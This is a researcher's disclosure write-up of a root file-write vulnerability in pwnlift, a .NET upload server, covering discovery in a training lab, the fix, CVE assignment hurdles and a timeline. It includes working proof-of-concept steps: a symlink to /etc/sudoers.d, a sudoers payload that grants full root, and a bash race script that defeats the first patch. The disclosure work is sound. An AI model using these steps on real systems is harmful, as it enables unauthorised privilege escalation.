Beyond CRTO: pwnlift
TL;DR
While working through CRTO, I found pwnlift exposed through passwordless sudo on the team server VM. The upload handler permitted arbitrary file write as root via symlink traversal, and the first upstream fix was later bypassed with a TOCTOU race (exploitation was reproduced in a local testbed). The affected lab deployment was mitigated and the upstream fix has since been merged.
The CVE path was less straightforward: the first CNA declined on scope, GitHub rejected requests for a GHSA CVE twice as a "seeming attempt at a test," and the MITRE CVE submission remained outstanding until publication. After the blog post and oss-security advisory went live, MITRE assigned CVE-2026-56815 the same day.
Discovery
The third sudoers entry was the one that didn't belong.
I was wrapping up one of the shorter labs in Zero-Point Security's Red Team Operator (RTO) course (covered in a previous post), one of the 30-to-45-minute variants. About twenty minutes left on the timer, nothing left to do on the actual objective, so I fell back on the reflex from CTFs and engagements: sudo -l on the team server to see what the student account could reach.
attacker@ubuntu:$ sudo -l
User attacker may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/docker restart cobaltstrike-cs-1,
/usr/bin/docker logs cobaltstrike-cs-1,
/opt/pwnlift/pwnlift

First two were operational helpers. The Cobalt Strike team server runs inside a Docker container on the Ubuntu VM. Students can't docker exec or docker cp into it; the containment boundary protects a shared Cobalt Strike licence. Students modify the Malleable C2 profile during the course and need to restart the container to load changes, then check the logs to verify the profile loaded without errors. docker restart and docker logs scoped to the specific container name fit that purpose.
The third entry pointed to /opt/pwnlift/pwnlift, which I had no context for. The RTO course material did not reference pwnlift (I discovered days later that Red Team Operator II did reference it, but I was working through RTO and hadn't yet searched the RTO II content), and nothing in the lab walkthrough I'd been following involved it. For a second or two I thought I was looking at a CTF box. A NOPASSWD sudo entry to an unfamiliar binary in /opt is the shape a deliberate priv-esc target would take, and the name doesn't help - I read it as pwnedlift, or lift to pwnage. Then I remembered where I was.
The architecture had been described publicly, on Discord and in lab discussions where the question of root access had come up. Docker serves as the isolation layer protecting the licence material, and root on the team server VM is what would bypass it. Root was off-limits by design, not by accident; the containment architecture depended on it. Granular sudo entries to known, safe binaries put little pressure on that, but the third entry was an unknown binary with unknown risk.
At a high level, the lab is laid out like this:
Attacker Desktop (Windows VM)
-> SSH session
-> Ubuntu team server VM <-- pwnlift runs here
-> Docker container <-- containment boundary
-> Cobalt Strike server <-- licence material lives here
From my account, /opt/pwnlift/ and everything beneath it was read-only (trimmed output):
pwnlift
pwnlift.deps.json
pwnlift.dll
pwnlift.runtimeconfig.json
These are artefacts that dotnet publish produces for a .NET application, which brought an immediate question of why an unfamiliar .NET app was here at all. Since a full-text search of the course content using my Tampermonkey userscript returned no reference to it, my best guess at that point was a leftover from the lab setup.
The first Google result for pwnlift was a tweet from Panos Gkatziroulis (@ipurple) on 31 August 2025: "pwnlift - a simple dotnet server application for uploading files from a desktop without the use of a C2", linking to the rasta-mouse/pwnlift repository on GitHub. The binary at /opt/pwnlift/ on the team server matched what builds from the public source.
A file upload server, running as root via passwordless sudo, on a machine where root access would bypass the Docker boundary protecting a commercial licence. I still had about 15 minutes left on the lab timer, so I started eyeballing the source.
Bug walkthrough: symlink following
The repository was small enough to read directly. Components/Pages/Home.razor contains the upload UI and server-side handler, Kestrel binds the listener, and an Uploads directory receives whatever gets sent. No middleware, no authentication, no input validation beyond Blazor defaults. The upload handler was the only surface worth reading.
var destination = Path.Combine(Directory.GetCurrentDirectory(), "Uploads");
if (!Directory.Exists(destination))
Directory.CreateDirectory(destination);
foreach (var file in _files)
{
await using var fs = file.OpenReadStream();
await using var ms = new MemoryStream();
await fs.CopyToAsync(ms);
var path = Path.Combine(destination, file.Name); // file.Name is client-controlled
await File.WriteAllBytesAsync(path, ms.ToArray());
}
Looking at the code:
- Build destination path from CWD +
Uploads - Create the directory if it doesn't exist
- Copy uploaded file into memory, append the client-supplied filename, write bytes to disk
The missing part is the lack of any checks on what Uploads resolves to; no canonicalisation of the final path, no containment check after symlink resolution, no ReparsePoint check on the directory, and no filename sanitisation before the write. Directory.Exists(destination) also returns true for a symlink, so a pre-existing Uploads symlink skips CreateDirectory and remains in place.
Three attacker-controlled inputs, and the handler happily trusts all of them.
The first is the working directory because the sudoers rule allows /opt/pwnlift/pwnlift without a cwd= directive, so sudo preserves the caller's current directory. The second is the Uploads directory itself, because pwnlift can be launched from an attacker-controlled directory where Uploads is pre-staged before the process starts. The third is file.Name, which comes from the upload request and is used directly in Path.Combine.
The directory symlink provides the shortest path to a PoC, without requiring sophisticated filename manipulations. So in theory, launching pwnlift from /tmp/pwn with /tmp/pwn/Uploads pointing at /etc/sudoers.d should cause uploaded files to land in /etc/sudoers.d.

I started with cloning pwnlift at the latest commit at the time (211f2b3), then built it in a local testbed:
user@parrot$ git clone https://github.com/rasta-mouse/pwnlift.git
user@parrot$ cd pwnlift/pwnlift
user@parrot$ dotnet publish -r linux-x64 --self-contained true
Next, I installed the published build at /opt/pwnlift and configured a matching sudoers rule for the lab configuration. This allowed the local unprivileged user to execute /opt/pwnlift/pwnlift with elevated privileges and without entering a password. The exploit staging was minimal.
attacker@parrot$ mkdir -p /tmp/pwn && cd /tmp/pwn
attacker@parrot$ ln -s /etc/sudoers.d Uploads
attacker@parrot$ cat > appsettings.json <<'EOF'
{
"Kestrel": {
"Endpoints": {
"Http": {
"Url": "http://*:8080"
}
}
},
"AllowedHosts": "*"
}
EOF
attacker@parrot$ echo 'user ALL=(ALL:ALL) NOPASSWD: ALL' > /tmp/pwn-payload
attacker@parrot$ sudo /opt/pwnlift/pwnlift
The application started with /tmp/pwn as its content root, which meant the upload destination was /tmp/pwn/Uploads. On disk, that was a symlink to /etc/sudoers.d.
attacker@parrot$ ls -la /tmp/pwn/
lrwxrwxrwx 1 user user 14 May 7 11:58 Uploads -> /etc/sudoers.d
-rw-r--r-- 1 user user 116 May 7 11:58 appsettings.json
info: Microsoft.Hosting.Lifetime[14]
Now listening on: http://[::]:8080
info: Microsoft.Hosting.Lifetime[0]
Content root path: /tmp/pwn
The payload was delivered through the pwnlift web UI at http://127.0.0.1:8080/, naming the uploaded file pwn. The write followed the directory symlink and landed in sudoers with root ownership.
attacker@parrot$ ls -la /etc/sudoers.d/pwn
-rw-r--r-- 1 root root 38 May 7 12:01 /etc/sudoers.d/pwn
attacker@parrot$ cat /etc/sudoers.d/pwn
user ALL=(ALL:ALL) NOPASSWD: ALL
attacker@parrot$ sudo -l
User user may run the following commands on parrot:
(ALL) NOPASSWD: /opt/pwnlift/pwnlift
(ALL : ALL) NOPASSWD: ALL
attacker@parrot$ sudo -i
root@parrot# id
uid=0(root) gid=0(root) groups=0(root)

As expected, a non-privileged local user allowed to execute pwnlift could exploit a file upload to achieve arbitrary file write as root.
A fix was committed to the public repository a few days later, but failed to prevent exploitation (turns out fixing file writes is also a file write problem).
Bug walkthrough: TOCTOU bypass
A few days had passed since the fix was applied. I'd come across a TOCTOU bypass write-up for an unrelated project, and it made me revisit the pwnlift patch to see if the same condition applied.
The first public fix for the upload bug was implemented in e3eddac, and includes three additional checks on the existing upload process to reject uploads for directories with FileAttributes.ReparsePoint, remove client-provided components of the path with Path.GetFileName(file.Name), and confirm that the resulting path for the write operation begins with the absolute path to the destination directory.

The changes resolve the direct symlink case discussed in the previous section, but don't address the fact that destination is constructed from Directory.GetCurrentDirectory(). If pwnlift is invoked from an attacker-controlled working directory, the attacker still controls the parent directory that contains Uploads and thus converts the check for a ReparsePoint to a check-then-use scenario. The handler verifies that Uploads is not a symlink, and subsequently writes to a path below Uploads.
So if the directory is swapped between these two operations, the results of the check no longer reflect the directory used for the subsequent write. This reclassifies the bug class from simple symlink traversal (CWE-59) to a TOCTOU condition (CWE-367).
The StartsWith path validation has its own problem since prefix matching without a trailing directory separator means /tmp/Uploads-evil passes a StartsWith("/tmp/Uploads") check. Microsoft's own documentation recommends Path.GetRelativePath for path containment.
I tested the race condition against the fixed build locally with a simple bash loop switching between a real directory and a symlink to /etc/sudoers.d:
user@parrot$ cat /tmp/race-uploads-sudoers.sh
#!/usr/bin/env bash
set -u
BASE=/tmp/pwn
DEST="$BASE/Uploads"
TARGET=/etc/sudoers.d
while true; do
rm -rf "$DEST"
mkdir "$DEST" 2>/dev/null
sleep 0.003
rm -rf "$DEST"
ln -s "$TARGET" "$DEST" 2>/dev/null
sleep 0.030
done
The timing is basic but sufficient to pass the ReparsePoint test before removing the real directory and leaving the symlink in place for long enough to provide a reasonable chance of success for the subsequent File.WriteAllBytesAsync call.
In another terminal, I started pwnlift as root from /tmp/pwn:
user@parrot$ cd /tmp/pwn
user@parrot$ sudo /opt/pwnlift/pwnlift
I then fired a stream of sudoers payload uploads via the web UI, both manually through the file picker and programmatically through a browser console script.
The resulting payload file name was pwn-toctou, which contained the same rule that provided the local test user with passwordless sudo. The race was won after just a few attempts, writing to /etc/sudoers.d/ as root:
user@parrot$ ls -l /etc/sudoers.d/pwn-toctou
-rw-r--r-- 1 root root 38 May 20 09:44 /etc/sudoers.d/pwn-toctou
user@parrot$ cat /etc/sudoers.d/pwn-toctou
user ALL=(ALL:ALL) NOPASSWD: ALL
user@parrot$ sudo -l
User user may run the following commands on parrot:
(ALL) NOPASSWD: /opt/pwnlift/pwnlift
(ALL : ALL) NOPASSWD: ALL
user@parrot$ sudo -i
root@parrot# id
uid=0(root) gid=0(root) groups=0(root)

That gives the same end state as the original symlink exploit, but against the patched version.
I emailed Daniel the full TOCTOU bypass details the same day, including the race script and reproduction steps.
Architectural angle
Both the original symlink traversal issue and the later TOCTOU bypass lead to root on the Ubuntu team server VM. As a standalone finding, local privilege escalation on a lab VM is a moderate risk. What elevated the impact was what sat on the same host.
The team server also held material used to support the shared Cobalt Strike lab environment. In the affected deployment model, root on the host could expose container-adjacent secrets and licence material that ordinary student access was intended to keep out of reach. The issue was not just control of an individual lab VM, but potential compromise of shared lab infrastructure until the affected material was rotated or the deployment model changed.
A single shared licence served student lab instances across Red Team Ops and Red Team Ops II. One extraction could therefore affect more than one active lab instance and continue to matter until the licence was replaced. Cobalt Strike is around $3,500 per user per year for standard standalone licences, but commercial value understates the operational risk. Stolen and cracked licences are actively traded in criminal marketplaces and deployed in ransomware operations; Microsoft, Fortra and Health-ISAC have run joint disruption campaigns against rogue instances since 2023, reporting an 80% reduction in unauthorised copies by early 2025. A leak originating from training infrastructure would sit in a category of its own.
The containment model was otherwise sensible: Docker isolation, restricted sudoers, and no direct student access to the Cobalt Strike containers. Access to the host filesystem was required to support file transfer between the student desktop and team server, which placed pwnlift outside the container boundary by design. The boundaries were there; the weak point was pwnlift, the one component that had to sit across them.

Coordinated disclosure
I first contacted Daniel Duggan over Discord on 7 May, asking for the right channel for an issue affecting the Red Team Ops labs. He took the report directly and clarified that pwnlift was his project. Duggan had joined Fortra as part of the Zero-Point Security acquisition in April 2026. He maintains pwnlift as a personal project; Fortra operates the affected lab deployment and owns the at-risk infrastructure. As a registered CNA, Fortra also appeared to be the natural first CVE route.
The issue was reproduced end-to-end in a local testbed and reported to both Daniel and Fortra on 8 May, so disclosure ran on two tracks from the start. Daniel enabled private vulnerability reporting on the repository the same day and accepted the report through GHSA. Fortra acknowledged the report and forwarded it to the Cobalt Strike team for validation. Throughout, Fortra's security team were responsive and professional, usually replying the same day and keeping the channel open across the full timeline. On 12 May, an upstream fix landed in rasta-mouse/pwnlift with reporter credit.
Getting a CVE proved harder. On 13 May, Fortra said it was still determining whether to issue one. Daniel reported on 14 May that Fortra had sent him a draft CVE scored at 9.8, a figure that likely assumed network vector or scope change; my own assessment was 7.8 (High) based on local access. On 19 May, Fortra agreed it was a vulnerability but declined CVE assignment on CNA scope and ownership grounds, citing the small size of the project and the fact it was unversioned.
On 20 May, a TOCTOU bypass of the committed fix was reproduced locally and reported to Daniel. The GHSA was updated with the new proof of concept and CWE-367 classification. The lab-side deployment work was delayed by integration issues, then confirmed fixed by Fortra on 28 May, with sudo removed from pwnlift.
Daniel later pursued the GitHub CNA path through GHSA. The CVE request was submitted on 30 May, but GitHub rejected it on 9 June as "appears to be a test", with no reason given. Daniel merged the fix and re-requested CVE assignment on 18 June; GitHub rejected it again on 19 June with the identical message. A detailed reply on the GHSA thread and a direct email to securitylab@github.com drew no human response - the review appears automated, with no one to ask why a real, fixed bug reads as a test. A full timeline is at the end of this post.
Mitigation and fix
Fortra confirmed on 28 May that the lab had been mitigated, with the sudo entry for pwnlift removed. That eliminates the privileged execution context that both exploits depend on. Without root execution, the upload handler may still be abused under caller-controlled working-directory conditions, but the resulting write occurs with the privileges of the pwnlift process and is no longer a local privilege escalation.
The code-level fix needs to remove the current working directory from the trust boundary. The initial fix in e3eddac added a ReparsePoint check and a containment check, but kept Directory.GetCurrentDirectory() as the upload root. That still left the upload destination under caller influence. The complete fix changes the upload root to:
Path.Combine(AppContext.BaseDirectory, "Uploads")
In the intended deployment, AppContext.BaseDirectory resolves to the application install directory, for example /opt/pwnlift/, rather than the caller's working directory. If that directory is owned by root and not writable by lower-privileged users, the attacker cannot replace Uploads between validation and write. The check-then-use window still technically exists in the method, but the exploitable precondition is removed.
The second change is path containment. The committed initial fix used string prefix matching. That pattern is unsafe because sibling paths can share the same prefix. The final fix uses Path.GetRelativePath(canonicalDest, path) and rejects rooted results, .., and paths beginning with ../. Microsoft documents that GetRelativePath resolves paths through GetFullPath before calculating the relative path, which makes it a better fit for containment than StartsWith.
The ReparsePoint check and Path.GetFileName sanitisation remain as defence in depth. They are still useful, but they are no longer the primary boundary.
For privileged deployments, the application directory must preserve the same invariant:
sudo chown -R root:root /opt/pwnlift
sudo chmod 755 /opt/pwnlift
sudo chmod 755 /opt/pwnlift/Uploads
If /opt/pwnlift, Uploads, or a parent directory is writable by users with lower privileges than the pwnlift process, path-based race risks remain. The patch has been merged upstream.
The CVE problem
A vulnerability acknowledged by both the maintainer and the deployment operator, but assigned no identifier by either of two CNAs, is not bad luck, nor is it a paperwork delay. It is the system working as designed, against a volume it was never built for.
Fortra declined on scope. Their words were "we agree that the finding is a vulnerability," but pwnlift was "not a Fortra product, just a utility that happens to be used in our lab" - unversioned, small, outside their remit. After declining the CVE, Fortra requested the writeup be abstracted to remove references to their products and labs. We settled on deployment context limited to what was needed for accuracy, with final editorial control staying mine. Duggan then took it down the GitHub path through GHSA, private reporting enabled and the request filed by the book; GitHub rejected it on 9 June as "appears to be a test." That left MITRE as the third path.

The comfortable story is that something went wrong, but in fact things went exactly as expected because the failure mode is inherent in the assignment model. Fortra's position holds up on paper if you read CNA scope as a property law exercise in which they manage the environment, but do not own the utility. GitHub's makes sense if you treat a small security advisory as indistinguishable from the background radiation of test submissions. Finally, MITRE's role makes sense because all federated systems require a final resort desk, and all final resort desks become sites where unresolved ambiguity awaits with polite courtesy until all participants cease making eye contact.
The timing was not kind either. The CVE programme had its near-death moment in April 2025, when MITRE's contract almost expired before CISA issued an 11-month emergency extension. The system then spent 2025 publishing 48,185 CVEs, its ninth straight record year. Q1 2026 was already pointing at 60,000-plus for the full year. GitHub still documents a 72-hour review target for GHSA CVE requests, but the June 2026 oss-security thread had OpenWrt reporting no MITRE response after two weeks and a GHSA wait already past one week; Vim's Christian Brabandt said GitHub seemed "swamped by CVE requests for the last couple of months" and that he had waited up to three weeks; MidnightBSD's Lucas Holt pointed at "all the AI related reports" while sitting on 13 requests for mport.
Another recent oss-security thread exposes both layers failing at once. OpenStack's coordinator said processes were "bursting at the seams." Red Hat and the Linux kernel both saw the same LLM-found bugs arrive from independent groups during embargo. Samba put the duplicate rate at a third of valid reports. HAProxy's maintainer said he was increasingly ignoring embargoes. Greg Kroah-Hartman looked at the EU CRA timeline and said December 2027 is "when the real flood is going to start." A warm and comfortable read while waiting for a 2026 CVE ID to exist.
The volume has a name - generative AI. curl killed its bug bounty after confirmed rates fell below 5% and Daniel Stenberg called the intake "effectively being DDoSed." Maintainers now spend human hours proving machine-generated nonsense is nonsense; an exquisite use of scarce expertise if the goal is making everyone hate "responsible disclosure" by teatime.
Ironically, I heavily relied on Claude and ChatGPT while navigating this disclosure process. Not to hallucinate a bug into someone's inbox, but to map the disclosure process, compare CNA paths, and work through the wreckage left by the same tooling class now flooding the queue. That is not a defence of AI, or a condemnation, or a lesson about responsible usage. It is the shape of the machine, and the tool that helps a researcher survive the process is also helping drown the process.

When I sent the original report to Fortra in May, their PGP encryption subkey had expired in August 2024 and was never renewed, even though the primary key was refreshed in May 2025. That left a web form with TLS but no end-to-end encryption and no way to attach supporting evidence. The upstream channel was no better - Daniel had no PGP at all, and the report went as a password-protected archive with the password shared over Discord. As of publication, the subkey remains expired on Fortra's security reporting page. That is about as honest a snapshot of the machinery as anything else here.
Where it stands
Update, 23 June 2026: After the blog post and oss-security advisory went live, MITRE assigned CVE-2026-56815.
GitHub never explained the "appears to be a test" verdict. The advisory has the shape an automated filter is built to discard (no ecosystem, no package-registry presence, and a commit hash where a semantic version belongs), which is my best guess at the trigger, not a reason GitHub gave.

A MITRE request has been pending since 15 June, joining a queue that maintainers on oss-security describe as weeks-to-months deep. This is the equivalent of posting a letter into a locked filing cabinet and hoping the person with the key still works there. As of 22 June 2026, fifty-three days from first identification, the fix had been merged, the lab had been mitigated, two GHSA requests had been rejected, and the CVE field was still blank.
If MITRE later assigns a CVE ID, I will update the advisory and this post.
A symlink traversal and a TOCTOU in a privileged upload handler are solved problems; the CVE system, evidently, is not. The advisory is public as GHSA-2v7v-rhpw-m9w4, and the full disclosure details are published here.
Timeline
| Date | Event |
|---|---|
| 2026-04-30 | Privileged pwnlift deployment and sudoers configuration observed during normal lab usage |
| 2026-05-07 | Initial contact with Daniel Duggan about the lab issue |
| 2026-05-08 | Vulnerability reproduced end-to-end in local testbed |
| 2026-05-08 | Remediation patch verified in local testbed |
| 2026-05-08 | Reported to Daniel Duggan, upstream maintainer |
| 2026-05-08 | Reported to Fortra Product Security via web form; PGP encryption subkey had expired |
| 2026-05-08 | Fortra acknowledged and forwarded to the Cobalt Strike team for validation |
| 2026-05-12 | Initial fix committed upstream, rasta-mouse/pwnlift@e3eddac, with reporter credit |
| 2026-05-13 | Fortra said it was still determining whether to issue a CVE |
| 2026-05-14 | Daniel reported Fortra had drafted a CVE scored at 9.8 |
| 2026-05-19 | Fortra declined CVE assignment on CNA scope and ownership grounds |
| 2026-05-20 | TOCTOU bypass of committed fix reproduced locally and reported to maintainer |
| 2026-05-28 | Fortra confirmed lab fix deployed, with sudo removed from pwnlift |
| 2026-05-29 | Fortra requested writeup avoid references to their products and labs |
| 2026-05-30 | Daniel requested CVE via GHSA |
| 2026-06-01 | Agreed on limited deployment context with final editorial control retained by researcher |
| 2026-06-09 | GitHub rejected CVE request: "appears to be a test" |
| 2026-06-15 | MITRE CVE request submitted in parallel |
| 2026-06-18 | Follow-up PR merged; CVE re-requested via GHSA |
| 2026-06-19 | GitHub rejected second CVE request: "appears to be a test" |
| 2026-06-22 | GHSA advisory published without a CVE |
| 2026-06-23 | Advisory posted to oss-security |
| 2026-06-23 | MITRE assigned CVE-2026-56815 |